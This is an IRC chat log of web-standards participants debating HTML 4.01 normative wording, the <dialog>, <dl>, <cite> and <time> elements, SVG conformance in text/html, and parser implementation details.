[01:30:01.0000] <tantek>
which is the documentation for http://www.w3.org/MarkUp/Test/HTML401/current/

[01:34:00.0000] <tantek>
othermaciej - I believe that's what the documentation was saying, but perhaps could have been more explicit and included all forms of a verb rather than just an illustrative form.

[01:34:01.0000] <tantek>
othermaciej - also note that the "Another application of DL, for example..." sentence is in the context of a sequence of *informative* examples

[01:34:02.0000] <tantek>
"Here is an example:" ...

[01:34:03.0000] <tantek>
"Here is an example with ..."

[01:34:04.0000] <tantek>
"Another application of DL, for example..."

[01:35:00.0000] <tantek>
hence the reasonable informative treatment of that text

[01:35:01.0000] <tantek>
as all examples are informative

[01:35:02.0000] <tantek>
whether described as "here is an example" or "for example"

[01:37:00.0000] <othermaciej>
tantek: it seems there isn't any normative definition of DL at all using your extended keywords

[01:38:00.0000] <othermaciej>
the only verbs applied to it are "vary" and "consist"

[01:39:00.0000] <tantek>
othermaciej - not true, there are several testable assertions derived from normative text regarding DL, see Assertions 10.3-1 through 10.3.1-3 here: http://www.w3.org/MarkUp/Test/HTML401/current/assertions/assertions_section10.html

[01:40:00.0000] <tantek>
sorry - make that *two* testable assertions

[01:40:01.0000] <tantek>
Assertion 10.3-1 and 10.3-2

[01:40:02.0000] <tantek>
(regarding DL)

[01:40:03.0000] <othermaciej>
tantek: the one you expressed as an "author must" doesn't actually use any of the key verbs

[01:40:04.0000] <tantek>
"must" is already a key RFC2119 word

[01:40:05.0000] <tantek>
"are required"

[01:41:00.0000] <tantek>
 = "must"

[01:41:01.0000] <othermaciej>
the only verbs in it are "vary", "consist", "give" (in passive voice), "restrict" (in passive voice) and "contain"

[01:41:02.0000] <othermaciej>
I mean Assertion 10.3-2

[01:42:00.0000] <othermaciej>
I think you'd have to be psychic to know that sentence is normative, but the one about marking up dialogues is not

[01:42:01.0000] <tantek>
yes - I think that's evidence that we used "is" as normatively as "are"

[01:42:02.0000] <tantek>
othermaciej - not at all, "for example" = informative

[01:43:00.0000] <Hixie>
othermaciej: psychic, or willing to apply out-of-band information obtained from the person who wrote the spec

[01:43:01.0000] <othermaciej>
so you're saying "is" used as an auxiliary verb for a passive voice verb indicates normativity, but not if the sentence includes the words "for example"?

[01:43:02.0000] <tantek>
othermaciej - right - anything of an "example" nature is informative.

[01:43:03.0000] <othermaciej>
but all passive voice verbs are normative

[01:44:00.0000] <othermaciej>
while active voice ones are not, unless they are on the special list

[01:44:01.0000] <othermaciej>
but you also includes this sentence in the assertion, which doesn't have any of the magic words, even as auxiliary verbs: "Definition lists vary only slightly from other types of lists in that list items consist of two parts: a term and a description."

[01:45:00.0000] <tantek>
othermaciej - that sentence was included for context so the following normative sentences would make sense.

[01:45:01.0000] <tantek>
it's not its own assertion

[01:46:00.0000] <tantek>
(judging *what* to quote from the spec for each assertion was certainly a challenge)

[01:47:00.0000] <othermaciej>
so if that second sentence said "the DT element gives the term" instead of "the term is given by the DT element" it would not be normative?

[01:47:01.0000] <hsivonen>
tantek: the first assertion (at http://www.w3.org/MarkUp/Test/HTML401/current/assertions/assertions_section05.html) shouldn't be marked (author) if one assumed the spec writer used the SGML concept of "document character set" correctly

[01:47:02.0000] <hsivonen>
tantek: since the SGML concept is always Unicode for HTML

[01:48:00.0000] <tantek>
othermaciej - we would have had to have made the term "gives" explicitly normative as well, though in hindsight, should have anyway given it's use with "is".

[01:49:00.0000] <hsivonen>
It's also interesting that "User agents must also know the specific character encoding that was used to transform the document character stream into a byte stream" is annotated as (author) when the sentence says what UAs must do

[01:49:01.0000] <tantek>
hsivonen - I think you're right. you may have found the first bug in the testable assertions. well done.

[01:49:02.0000] <othermaciej>
here is a sentence using "may" that contains "for example": "For example, using CSS, one may specify that the style of numbers for list elements in a numbered list should be lowercase roman numerals."

[01:49:03.0000] <othermaciej>
is that non-normative?

[01:50:00.0000] <Hixie>
/me wonders how "user agents must know [...]" is supposed to be implemented

[01:50:01.0000] <tantek>
othermaciej - yes that's non-normative, and should be in the HTML spec, as the HTML spec doesn't normatively define what CSS does or does not do.

[01:50:02.0000] <tantek>
that's common for cross-spec/functionality references

[01:51:00.0000] <tantek>
(using informative language so as to not potentially invalidate the normative language in another spec)

[01:51:01.0000] <tantek>
(key for good spec modularity)

[01:51:02.0000] <othermaciej>
it seems like most uses of "for example" are true statements of fact

[01:52:00.0000] <othermaciej>
but I guess that one for dl has to be either normative or false

[01:52:01.0000] <tantek>
othermaciej - most "informative" statements are true statements of fact. that doesn't make them normative.

[01:52:02.0000] <othermaciej>
/me likes the RFC keyword system a lot better

[01:52:03.0000] <tantek>
othermaciej - indeed.

[01:53:00.0000] <Philip`>
If you made the term "gives" explicitly normative, presumably you'd still have to apply some other non-normative interpretation to cases like "Using external (linked) style sheets gives you the flexibility to change the presentation without revising the source HTML document"

[01:53:01.0000] <othermaciej>
although there still doesn't appear to be a normative definition of DL itself, even if DT and DL are not

[01:54:00.0000] <othermaciej>
it seems like the following sentence with "for example" introduces a genuine SHOULD/RECOMMEND-level requirement: "In the absence of more sophisticated behavior, for example tailored to the needs of a particular script or language, we recommend the following behavior for user agents"

[01:54:01.0000] <tantek>
othermaciej - unfortunately the only normative definition of DL is that it must have a start and end tag per Assertion 10.3-1 :/

[01:54:02.0000] <tantek>
othermaciej "we recommend" is actually non-normative

[01:55:00.0000] <tantek>
per http://www.w3.org/TR/html401/conform.html

[01:55:01.0000] <othermaciej>
as distinct from "recommended"?

[01:55:02.0000] <tantek>
"At times, the authors of this specification recommend good practice for authors and user agents. These recommendations are **not normative**

[01:55:03.0000] <boblet>
re: now-completed discussion of <dialog> and <dl>, would <dialog> be used for marking up a theatrical play or IRC log? if so what about non-actor dialog, such as stage directions and joined/left etc announcements?

[01:55:04.0000] <tantek>
**emphasis adde**

[01:55:05.0000] <Hixie>
/me updates his registration for TPAC to point out he now has clashes with not three, but four working groups on the first two days

[01:55:06.0000] <tantek>
"These recommendations contain the expression "We recommend ...", "This specification recommends ...", or some similar wording.

[01:55:07.0000] <tantek>
"

[01:56:00.0000] <Lachy>
hsivonen, the solution to the RDF/XML looking stuff (and other useless metadata) within <metadata> in SVG is to simply comment it out if the author thinks it can't physically be removed from the image

[01:56:01.0000] <tantek>
and "we recommend ... (the following)" is exactly what quoted text says

[01:56:02.0000] <Philip`>
"The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119]." sounds like it conflicts with that

[01:57:00.0000] <tantek>
Philip`: "RECOMMENDED" is not the same as "we recommend"

[01:57:01.0000] <othermaciej>
boblet: <dialog> could be used for such purposes in theory, but in practice its content model is not suitable for expressing anything but the conversation itself, so stage directions, join/leave messages, IRC /me actions, etc could not be properly marked up in <dialog>

[01:57:02.0000] <Philip`>
Oh, I missed the "ED"

[01:57:03.0000] <tantek>
more good reasons to dump <dialog>

[01:58:00.0000] <Hixie>
/me thinks if <dialog> is popular, we should just add <ds> or whatever to cover that case

[01:58:01.0000] <hsivonen>
Lachy: that's not a solution to the inkscape cruft

[01:58:02.0000] <tantek>
Philip` - yes, the distinction ("ED") is too subtle and prone to error in reading.

[01:58:03.0000] <Hixie>
but that's a problem for a future spec

[01:58:04.0000] <Lachy>
hsivonen, I know

[01:58:05.0000] <Lachy>
the solution to that is to have them stripped out by a simple post processor

[01:58:06.0000] <othermaciej>
does anyone actually currently mark up conversations with <dl>? or in any other distinct and idiomatic way?

[01:59:00.0000] <othermaciej>
that's the relevant question to me, not what HTML4 may or may not have meant

[01:59:01.0000] <hsivonen>
Lachy: having anything but textual copy and paste defeats the SVG WG's use cases

[01:59:02.0000] <tantek>
othermaciej - ordered list, with cite for the speaker and q for the utterance, e.g.: http://rbach.priv.at/Microformats/IRC/2009-08-28

[02:00:00.0000] <Hixie>
(<cite> for speaker contradics html5's statements about <cite> btw)

[02:00:01.0000] <boblet>
othermaciej: that’s what I thought. I think authors would potentially find it confusing to decide whether to use method A or B if there are two approved ways for marking up a conversation (depending on whether it contains non-actor content)

[02:00:02.0000] <tantek>
Hixie - your HTML5 defintion of <cite> contradicts existing usage. Ergo the HTML5 definition of <cite> should change to conform to existing usage.

[02:00:03.0000] <Lachy>
hsivonen, that's not a problem unless you think their use case deserves addressing, which I don't. The more we can encourage authors to strip useless cruft from markup, the better

[02:00:04.0000] <tantek>
especially since that usage is permitted in HTML4

[02:01:00.0000] <Hixie>
tantek: actually, research indicates that <cite> for people is used far less than for other things, and is in fact used less than, say, <cite> for italics, or <cite> for the sake of it with no good semantic use.

[02:01:01.0000] <hsivonen>
Lachy: I think telling authors not to type cruft is a worthwhile thing to do. Telling them to remove cruft, no so much.

[02:02:00.0000] <Lachy>
what's the difference?

[02:02:01.0000] <Philip`>
/me likes how HTML5 lets him extract stuff like http://philip.html5.org/tests/canvas/suite/spec.yaml where there's an explicit "must" statement for most test cases

[02:02:02.0000] <Hixie>
tantek: i actually disagree that html4 allows <cite> for people, but my reading of html4 is at odds with other people's, so i'm not going to argue that point

[02:02:03.0000] <Hixie>
tantek: except to point out yet again that html4 is ungodly vague.

[02:02:04.0000] <MikeSmith>
othermaciej: I think Jonas's message on <dialog> from a while back was meant to make the case that there's little evidence of anybody actually using <dl> for dialogs

[02:03:00.0000] <MikeSmith>
/me looks in the list archive

[02:03:01.0000] <hsivonen>
Lachy: the difference is that the first case saves time and the latter wastes it

[02:03:02.0000] <heycam>
i haven't been paying attention to the conversation just now, but for the point about conformance of SVG DOM subtrees created from parsing text/html documents, i'm sure we could add some wording in svg's conformance appendix about that

[02:03:03.0000] <tantek>
Hixie, research indicates that <cite> is used for people far more than <dt> is 

[02:03:04.0000] <tantek>
therefore you should drop <dialog>

[02:03:05.0000] <tantek>
and fix <cite> accordingly

[02:03:06.0000] <Hixie>
othermaciej: (per tantek's rules, is "Contains a citation or a reference to other sources" normative?)

[02:03:07.0000] <heycam>
currently conformance is markup focussed rather than dom focussed

[02:04:00.0000] <othermaciej>
heycam: I think that would be a reasonable approach

[02:04:01.0000] <Hixie>
tantek: <dialog> wasn't added because of high usage

[02:04:02.0000] <tantek>
Hixie - doesn't matter

[02:04:03.0000] <heycam>
but we could add something about say converting the dom to markup and then determining the conformance based on that

[02:04:04.0000] <Hixie>
tantek: it kinda does

[02:04:05.0000] <tantek>
if you want to be consistent in  your methodology

[02:04:06.0000] <othermaciej>
heycam: it does seem that conformance of SVG (at least for 1.1) is ultimately defined in terms of the source text, if you chase all the normative references

[02:04:07.0000] <heycam>
othermaciej, right

[02:04:08.0000] <hsivonen>
heycam: in this case, the DOM is not serializable as XML

[02:04:09.0000] <heycam>
hsivonen, you're talking about the metadata rdf stuff?

[02:05:00.0000] <heycam>
i guess i'm just worrying about the general issue

[02:05:01.0000] <Hixie>
tantek: my methodology is not blind adherence to a single principle, it's a very broad set of principles that encompass far more than just usage.

[02:05:02.0000] <hsivonen>
heycam: that and the inkscape cruft

[02:05:03.0000] <heycam>
of defining document conformance

[02:05:04.0000] <tantek>
you should prefer <cite> for people rather than <dt> for people (in conversations)

[02:05:05.0000] <othermaciej>
hsivonen: you could apply the infoset coercion rules first, but that would certainly result in documents that are not conforming SVG

[02:05:06.0000] <Hixie>
tantek: why?

[02:05:07.0000] <tantek>
btw reference to broader request for cite: http://www.zeldman.com/superfriends/guide/#cite

[02:05:08.0000] <boblet>
Actually it’d be great if there was a quasi-official coding patterns reference (how to mark up a play script etc). Perhaps a section in the Wiki at some stage?

[02:05:09.0000] <heycam>
well, to be honest, text/html doesn't support xml namespaces -- so if you've got some elements in there with colons in them, you're going to produce invalid text/html imo

[02:05:10.0000] <Hixie>
tantek: actually, for <cite>, if you want that changed, please respond to the relevant thread in whatwg recently

[02:05:11.0000] <hsivonen>
othermaciej: true, but it would be the resulting spec text incomprehensible to authors

[02:05:12.0000] <Hixie>
tantek: since it was discussed to death there already

[02:06:00.0000] <Lachy>
hsivonen, it's not a waste of time to produce cleaner markup

[02:06:01.0000] <Lachy>
it makes working with the markup easier

[02:06:02.0000] <Hixie>
tantek: is zeldman done collecting the feedback from his blog commenters yet btw?

[02:06:03.0000] <tantek>
and requesting of dropping of dialog: http://www.zeldman.com/superfriends/guide/#dialog

[02:06:04.0000] <heycam>
but i guess it could be in line with allowing xmlns="" talismans to allow rdf stuff to not be unconforming

[02:06:05.0000] <othermaciej>
heycam: that was hsivonen's interpretation of the de facto reality, but apparently that would make a great deal of existing SVG produce errors when pasted into text/html

[02:06:06.0000] <Hixie>
tantek: send that feedback to the list if you want it to get a reply

[02:06:07.0000] <heycam>
othermaciej, yeah, given a lot is produced by inkscape and inkscape outputs the extra stuff

[02:06:08.0000] <tantek>
Hixie - will do, was merely citing it here for the benefit of connecting the discussions for the logs.

[02:07:00.0000] <Lachy>
and makes subsequent copy/pasting by other authors easies by not having to ignore so much useless cruft

[02:07:01.0000] <Lachy>
*easier

[02:07:02.0000] <heycam>
/me has to leave, but i'll raise an issue with the svg wg about the "conformance of a dom" thing

[02:07:03.0000] <Hixie>
i found http://www.zeldman.com/2009/09/04/html5-redefines-footer/ somewhat ridiculous, btw. claiming credit for something that had nothing to do with him.

[02:07:04.0000] <Hixie>
and not even apologising when called on it

[02:07:05.0000] <heycam>
s/i'll/he'll/ if i want to get my pronouns right :)

[02:09:00.0000] <hsivonen>
so, it looks like I can express all tree operations as an opcode and three pointers

[02:09:01.0000] <hsivonen>
if I bake the element namespace into the opcode

[02:09:02.0000] <hsivonen>
yay for namespaces complicating my work again

[02:10:00.0000] <Lachy>
Hixie, it's understandable why he thought he played a part in it. The timing of when they first published their feedback, and when you dealt with older feedback on the same issue, was very coincidental

[02:11:00.0000] <Hixie>
Lachy: sure, but he didn't correct it or anything when it was pointed out that it was in fact a coincidence

[02:11:01.0000] <othermaciej>
Hixie: since you did what he wanted, it doesn't seem very important whether you did it because you listened to him (as he thought) or due to similar feedback from others (as was actually the case)

[02:11:02.0000] <takkaria>
hsivonen: hm, why are you expressing tree operations as opcodes?

[02:11:03.0000] <othermaciej>
he didn't actually directly claim that it was *because* of his request, though the justaposition implies that

[02:12:00.0000] <hsivonen>
takkaria: to put their identity on a heap-allocate queue as opposed to having direct on-stack method calls

[02:12:01.0000] <Hixie>
othermaciej: it grates on me that someone would claim to be contributing and claiming credit for it (whether implicitly or not) when they have in fact not done so, because it takes away from the credit that the real contributors should be getting

[02:12:02.0000] <hsivonen>
*allocated

[02:12:03.0000] <Hixie>
othermaciej: we have literally hundreds of people who have actually contributed, and they deserve the credit that he's taking

[02:13:00.0000] <hsivonen>
takkaria: the tree building algorithm runs independently of the tree operations actually happening

[02:13:01.0000] <boblet>
Hixie: I actually think that the coincidental timing is a good thing, as it’s going to both encourage more people to get involved (increased perception they can contribute), and hopefully to do so in a constructive way (some of the feedback has been backed up by more than personal opinion)

[02:13:02.0000] <takkaria>
hsivonen: ah, interesting

[02:13:03.0000] <takkaria>
hsivonen: I'm guessing this is for off-main-thread parsing?

[02:13:04.0000] <hsivonen>
takkaria: yes

[02:13:05.0000] <Hixie>
hsivonen: how many opcodes? If your pointers are aligned, and if you don't have many opcodes, you might be able to encode the opcodes in the LSBs of the pointers, for extra obfuscation. :-)

[02:14:00.0000] <othermaciej>
Hixie: well, the spec has acknowledgements, I guess if you wanted to give more credit you could cite people who gave relevant feedback in commit messages

[02:14:01.0000] <hsivonen>
takkaria: although I already had a setup like this in order to batch notifications so that the CSS frame constructor didn't run after every tree operation

[02:14:02.0000] <Hixie>
othermaciej: i do, sometimes. but the commit messages aren't going to get the exposure his claims are.

[02:14:03.0000] <othermaciej>
but I suppose I should stay away from getting in the middle of the Leibniz-Newton priority dispute here

[02:15:00.0000] <Hixie>
yeah

[02:15:01.0000] <Hixie>
me too

[02:15:02.0000] <Hixie>
i'm not going to make a fuss over it or anything

[02:15:03.0000] <Hixie>
it just grates me

[02:15:04.0000] <Hixie>
/me might be overly protective of the spec's contributors :-)

[02:15:05.0000] <Philip`>
othermaciej: "cite people"? I thought that wasn't allowed :-p

[02:16:00.0000] <hsivonen>
Hixie: 19 opcodes so far

[02:16:01.0000] <othermaciej>
I think I am one of the few people that is not offended by Zeldman's high level of self-esteem

[02:16:02.0000] <hsivonen>
Hixie: will have a few more

[02:17:00.0000] <Hixie>
hsivonen: if your pointers are aligned to 4-byte boundaries, you get 2 bits per pointer, right? with 6 bits you can have 64 opcodes.

[02:17:01.0000] <Hixie>
hsivonen: (btw this is the worst idea ever unless you expect to have bazillions of these flying about)

[02:18:00.0000] <hsivonen>
Hixie: seems like a premature optimization, but I'll keep it in mind

[02:18:01.0000] <Hixie>
(your pointers might well be aligned, though, especially if they're coming out of an arena as i expect they are)

[02:18:02.0000] <Hixie>
yeah like i said, it's a horrible idea :-)

[02:18:03.0000] <hsivonen>
Hixie: they come out of jemalloc

[02:18:04.0000] <tantek>
Hixie - your comment on Zeldman's post seems to explain the situation clearly enough. I'm not sure what you're objecting to. Anyone who reads the post and comments will see the details you note and given that no-one is arguing with you, accept them.

[02:19:00.0000] <Hixie>
hsivonen: no idea what that is

[02:19:01.0000] <othermaciej>
it's a custom malloc implementation borrowed from FreeBSD

[02:20:00.0000] <othermaciej>
on modern systems you can always expect any pointer that comes from an allocator to be at least 4-byte aligned, and likely 8-byte aligned if the allocation is at least 8 bytes in size

[02:21:00.0000] <Hixie>
yeah, i was just looking at the jemalloc source

[02:21:01.0000] <othermaciej>
however, stuffing flags in the low bits of pointers should probably not be the first tool you reach for

[02:21:02.0000] <Hixie>
indeed

[02:21:03.0000] <Hixie>
more like the last tool

[02:22:00.0000] <hsivonen>
now I have an opcode, three pointers and one integer

[02:22:01.0000] <othermaciej>
(we do it sometimes in WebKit but only if we can prove the space saved is a singificant memory improvement)

[02:22:02.0000] <hsivonen>
getting rid of the integer might actually be a small win

[02:25:00.0000] <Philip`>
/me thought malloc had to return at least 8-byte aligned, because you might potentially use it for storing doubles and (in practice) they ought to be 8-byte aligned, or something like that

[02:27:00.0000] <othermaciej>
Philip`: yeah, but not for a 4-byte allocation, if malloc supports true 4-byte allocations

[02:29:00.0000] <Philip`>
Hmm, C99 seems to just say it is "suitably aligned so that it may be assigned to a pointer to any type of object and then used to access such an object ..."

[02:30:00.0000] <Philip`>
but since *(double*)malloc(4) is always going to be undefined behaviour, I suppose that means it doesn't have to be double-aligned

[02:31:00.0000] <Philip`>
(even though it is any type of object)

[02:31:01.0000] <Philip`>
s/it/double/

[02:45:00.0000] <Hixie>
five points to the first person who can find me a page with a smallish table that one could imagine markup up using microdata where the items correspond to columns rather than rows

[02:46:00.0000] <Hixie>
and one point for each error that anyone can find in any of the files in http://damowmow.com/playground/microdata/

[02:47:00.0000] <Lachy>
Hixie, what's the value of these points you're offering?

[02:47:01.0000] <Hixie>
they're each worth one point

[02:47:02.0000] <Lachy>
hah

[02:48:00.0000] <Lachy>
can we exchange them for prizes if we get enough?

[02:50:00.0000] <Hixie>
with each other? sure

[02:51:00.0000] <Lachy>
<p>Taken on <time itemprop="http://flickr.com/ns/pubdate" datetime="2009-07-21T00:00-00:00">July 21, 2009</time>.</p>

[02:51:01.0000] <Lachy>
the datetime attribute doesn't need to have the time specified

[02:51:02.0000] <Lachy>
just use datetime="2009-07-21"

[02:52:00.0000] <Lachy>
from http://damowmow.com/playground/microdata/001/flickr-annotated.html

[02:54:00.0000] <Lachy>
also, <img itemprop="about" src="/photos/05108321.jpeg"> -- the image is missing

[02:54:01.0000] <tantek>
indeed - and artificial precision is an anti-pattern (it implies data where there is none)

[02:54:02.0000] <tantek>
(regarding not needing to specify the time)

[02:54:03.0000] <othermaciej>
Hixie: http://www.sosmath.com/tables/trigtable/trigtable.html

[02:55:00.0000] <othermaciej>
if you think of sin(x), cos(x) and tan(x) as the items

[02:55:01.0000] <ttepasse>
Shouldn't be the rating in http://damowmow.com/playground/microdata/003/yelp-annotated.html a <meter>?

[02:55:02.0000] <Hixie>
Lachy: for the purposes of this study, i'm defining the datetime pattern as being the full datetime

[02:55:03.0000] <Hixie>
Lachy: just so there's less to explain

[02:55:04.0000] <tantek>
Hixie, why?

[02:55:05.0000] <Hixie>
othermaciej: thanks

[02:56:00.0000] <Hixie>
tantek: based on advice from our usability expert that each additional aspect of complexity makes the data harder to analyse

[02:57:00.0000] <Lachy>
Hixie, but requiring authors to add a meaningless and incorrect time to a time stamp, or some random date when they only want a time, makes things more complex

[02:57:01.0000] <Hixie>
ttepasse: yeah i'm trying to keep it to html4 as much as possible

[02:57:02.0000] <Hixie>
Lachy: good point. i'll make it be a specific time.

[02:57:03.0000] <Lachy>
unless you make sure that there are no dates without times or times without dates in any of the examples used

[02:58:00.0000] <Lachy>
how many points is that worth? :-)

[02:58:01.0000] <tantek>
Lachy's experience is with authors agrees with mine.

[02:58:02.0000] <tantek>
s/is with/with

[02:58:03.0000] <Hixie>
i agree that in the actual html5 spec we should make it possible for an itemprop="" to have as values either a date, time, or datetime

[02:59:00.0000] <Hixie>
(though god knows what that does to the rdf conversion)

[03:00:00.0000] <Hixie>
Lachy: that was 12 points, i think, based on the edits i had to do. :-)

[03:01:00.0000] <Lachy>
woo hoo!

[03:01:01.0000] <Hixie>
RE: the missing images, they're all missing

[03:01:02.0000] <Hixie>
not sure if we'll provide images or not on the day

[03:01:03.0000] <othermaciej>
if I am due 5 points then I think I must decline to avoid the appearance of bribery

[03:01:04.0000] <Lachy>
Hixie, also, requiring authors to specify a day when they only have a year and month, is equally wrong, and is why the spec should be more flexible with allowing less specific dates

[03:02:00.0000] <ttepasse>
Making meter/@value a possible microdata-value as in time/@datetime would be also too complex, wouldn't it?

[03:02:01.0000] <Hixie>
ttepasse: for the study? yeah, i don't want to go there for the study.

[03:03:00.0000] <ttepasse>
In general.

[03:03:01.0000] <Hixie>
ttepasse: might make sense to add to the language, though

[03:06:00.0000] <hsivonen>
http://stackoverflow.com/questions/1350741/html5-0-canvas-textfield

[03:09:00.0000] <othermaciej>
ick

[03:09:01.0000] <Hixie>
how horrifying

[03:10:00.0000] <tantek>
Lachy agreed: http://www.zeldman.com/superfriends/guide/#time

[03:12:00.0000] <Hixie>
Lachy: i don't understand the use cases for exposiing only a year and a month. Do calendars even support that? I didn't see anything like that in the iCal format.

[03:13:00.0000] <hsivonen>
tantek: what's your use case for exposing imprecise dates in a machine-readable format?

[03:14:00.0000] <hsivonen>
tantek: that is, I see why you might want to write only year and month on a Web site but why do those need to be machine-readable?

[03:15:00.0000] <hsivonen>
tantek: what apps actually support month-precision events in calendaring?

[03:15:01.0000] <hsivonen>
tantek: oops. sorry. I misread the superfrieds doc. nothing to see here.

[03:16:00.0000] <hsivonen>
/me confused Lachy's case and Super Friends' case

[03:17:00.0000] <tantek>
hsivonen - I've seen far fewer examples in the wild of month-precision "dates". Until I find sufficiently representative real world examples to justify a request, I'm withholding that specific request.

[03:18:00.0000] <tantek>
I would not be opposed to such an enhancement, but I don't think I can justify one myself.

[03:18:01.0000] <hsivonen>
tantek: the Super Friends date use cases do look a bit Semantic Webby, though

[03:18:02.0000] <tantek>
hsivonen - no triples here, move along. ;)

[03:19:00.0000] <othermaciej>
extracting birthdays without a year sounds plausible

[03:19:01.0000] <othermaciej>
and years without a day are indeed common on historical timelines

[03:20:00.0000] <Hixie>
google has shown that to do a timeline you don't need explicit markup

[03:20:01.0000] <annevk3>
not really

[03:20:02.0000] <hsivonen>
othermaciej: in the latter case, it seems Semantic Webby that timeline data and timeline creators would arise on that level of coupling

[03:20:03.0000] <hsivonen>
othermaciej: as opposed to Wikipedia-specific tools

[03:20:04.0000] <annevk3>
Google places my about page in 1986

[03:21:00.0000] <annevk3>
as news article, last I checked

[03:21:01.0000] <Hixie>
annevk3: you think relying on authors to get markup right is going to be any better overall? :-)

[03:22:00.0000] <othermaciej>
hsivonen: I have a hard time gauging what is realistic in terms of extracting data from web pages

[03:22:01.0000] <annevk3>
mpilgrim, you should do the s/HTML 5/HTML5/ thingie as well

[03:23:00.0000] <Hixie>
/me doesn't understand why people care about that space

[03:23:01.0000] <ttepasse>
http://en.wikipedia.org/wiki/July_Crisis would be an example for yyyy-mm.

[03:23:02.0000] <Lachy>
Hixie, so you're saying that sites that want to do timelines incorporating vague moments in time, like YYYY-MM without a day, can do so, but are excluded from taking advantage of the <time> element?

[03:24:00.0000] <Hixie>
not just vague moments in time

[03:24:01.0000] <Hixie>
any timelines

[03:24:02.0000] <hsivonen>
Lachy: the time element is not for intra-site timelines

[03:24:03.0000] <hsivonen>
Lachy: <time> implies that you crawl someone else's content and build a timeline out ofthat

[03:25:00.0000] <Philip`>
Google News Timeline associates http://www.developerfusion.com/event/8137/the-last-mile-html-5-websockets-comet-free-event-with-jonas-jacobi/ with 01 January 1999 even though there's actually a correct machine-readable hCard date on the page

[03:25:01.0000] <Hixie>
lachy: i'm saying <time> is intended to allow calendar events to be marked up, to allow Atom feeds to be generated from HTML pages, and nothing else

[03:25:02.0000] <hsivonen>
Bugzilla uses MySQL data for bug trend graphs. It doesn't scrape its own HTML output.

[03:25:03.0000] <Hixie>
Lachy: (because nothing else has had a compelling argument made for it)

[03:26:00.0000] <tantek>
Hixie, Google has shown you can create a *lossy* timeline without explicit markup - just like nearly all "entity recognition"

[03:26:01.0000] <hsivonen>
people love to think up semantics and then invent use cases for the semantics. After all, we've been taught that Semantics are Good.

[03:27:00.0000] <tantek>
hsivonen people love to think up APIs and then invent applications for the APIs.

[03:27:01.0000] <tantek>
no difference

[03:28:00.0000] <tantek>
semantics are just really simple APIs

[03:28:01.0000] <tantek>
and they enable applications

[03:28:02.0000] <tantek>
shared semantics enable portable applications

[03:28:03.0000] <Hixie>
tantek: you can't create anything better than a lossy timeline even with markup, because of the error rate in authoring

[03:28:04.0000] <hsivonen>
I could buy the argument that including all Porter–Duff operations is a matter of completeness instead of solid use cases for each one

[03:28:05.0000] <tantek>
Hixie - nope. there are tons of problems with entity recognition. false positives etc.

[03:29:00.0000] <Hixie>
tantek: you can only get higher fidelity if you have a controlled environment, at which point you can just use microdata/microformats/rdfa/whatever and don't need explicit support from html itself.

[03:29:01.0000] <Lachy>
Hixie, what about, for example, the list that Opera maintains internally of upcoming web related conferences? That often lists events which are known to be held in a certain month, but the exact date has yet to be decided.

[03:29:02.0000] <tantek>
Hixie - artificial dichotomy

[03:29:03.0000] <Hixie>
tantek: your argument assumes that authors can write markup correctly, which is false

[03:29:04.0000] <Hixie>
Lachy: what about it?

[03:29:05.0000] <hsivonen>
Lachy: does iCal support that kind of data? where do you intent to import the data?

[03:30:00.0000] <tantek>
Hixie - tons of microformats on the web show plenty of data that authors can write markup correctly enough.

[03:30:01.0000] <ttepasse>
Hixie, not all applications deals with Googles scales and Googles possibilities. More often than not it's just a script, scraping data of a small part of the interweb.

[03:30:02.0000] <Lachy>
it just seems like you're imposing unnecessary restrictions

[03:30:03.0000] <hsivonen>
Lachy: do you want to be the one who implements per-month events in iCal and Outlook for HTML compat?

[03:31:00.0000] <Hixie>
tantek: well then authors can write microformats better than they can write html, in which case, again, use microformats, not html, to solve this problem.

[03:31:01.0000] <tantek>
Lachy - worse than just "unnecessary", but in contradiction of existing publishing patterns.

[03:31:02.0000] <tantek>
Hixie, <time> is *supposed* to be an improvement upon the way we markup dates and times in microformats.

[03:31:03.0000] <Hixie>
tantek: no, it's not

[03:31:04.0000] <tantek>
at least, last time I read HTML5 it said that.

[03:31:05.0000] <Hixie>
tantek: <time> is supposed to be a way to give a date to iCal and Atom convertors. that's all.

[03:32:00.0000] <tantek>
and those use cases came from hCalendar and hAtom

[03:32:01.0000] <othermaciej>
that seems like a pretty narrow set of use cases

[03:32:02.0000] <Lachy>
Hixie, time was inspired by the abuse of <abbr> in microformats

[03:32:03.0000] <Hixie>
othermaciej: those are the ones that have been put forward that can't be solved in other better ways so far.

[03:32:04.0000] <othermaciej>
no other format or application is interested in a time, besides those two?

[03:32:05.0000] <tantek>
Lachy, and even now with the improvements in the value-class-pattern, there are some cases where <time> is still better, from a markup simplicity perspective

[03:33:00.0000] <othermaciej>
very suspicious from a Zero, One, Infinity Rule perspective

[03:33:01.0000] <tantek>
othermaciej - e.g. the "bday" property in hCard

[03:34:00.0000] <Lachy>
Hixie, apps like iCal may not be suitable for representing such vague moments in time, but ruling out the possibility of other applications that might from the beginning seems short sighted

[03:35:00.0000] <tantek>
Lachy, agreed

[03:35:01.0000] <Hixie>
Lachy: we rule out an infinite number of applications from the beginning.

[03:36:00.0000] <Hixie>
Lachy: if there are specific applications that need to be handled, then they should be brought up as use cases for us to handle

[03:36:01.0000] <othermaciej>
FWIW iCal (the app) does let you make week-long or month-long events

[03:36:02.0000] <zcorpan__>
mpilgrim: "The <video> element is designed to be usable without any detection script at all." - this is true for canvas as well (it supports fallback)

[03:36:03.0000] <Hixie>
othermaciej: and you can mark those up with <time> and the vevent microdata format, using dtstart and dtend

[03:37:00.0000] <hsivonen>
othermaciej: yet, you posted a WebKit position casting doubt over the use cases for the large set of date-related widgets :-)

[03:37:01.0000] <Hixie>
othermaciej: providing a <time> format for just a year-month combination wouldn't actually work with the vevent format, we'd have to hard-code a mapping from that to a separate dtstart/dtend pair

[03:37:02.0000] <othermaciej>
hsivonen: I've never personally seen a Web app ask me for a month or a week, it is true

[03:38:00.0000] <hsivonen>
Lachy: "possibility of other apps" would be more convincing if you were clearly on the hook for writing a <time> to iCalendar converter

[03:38:01.0000] <Hixie>
othermaciej: every time you spend money online you're asked for a month (credit card expiry date)

[03:38:02.0000] <zcorpan__>
mpilgrim: s/HTML 5/HTML5/ ?

[03:38:03.0000] <Hixie>
othermaciej: (weeks though is mostly for europe)

[03:38:04.0000] <othermaciej>
Hixie: fair enough

[03:39:00.0000] <tantek>
Hixie, I'm not opposed to your suggestion to "use microformats, not html, to solve this problem."

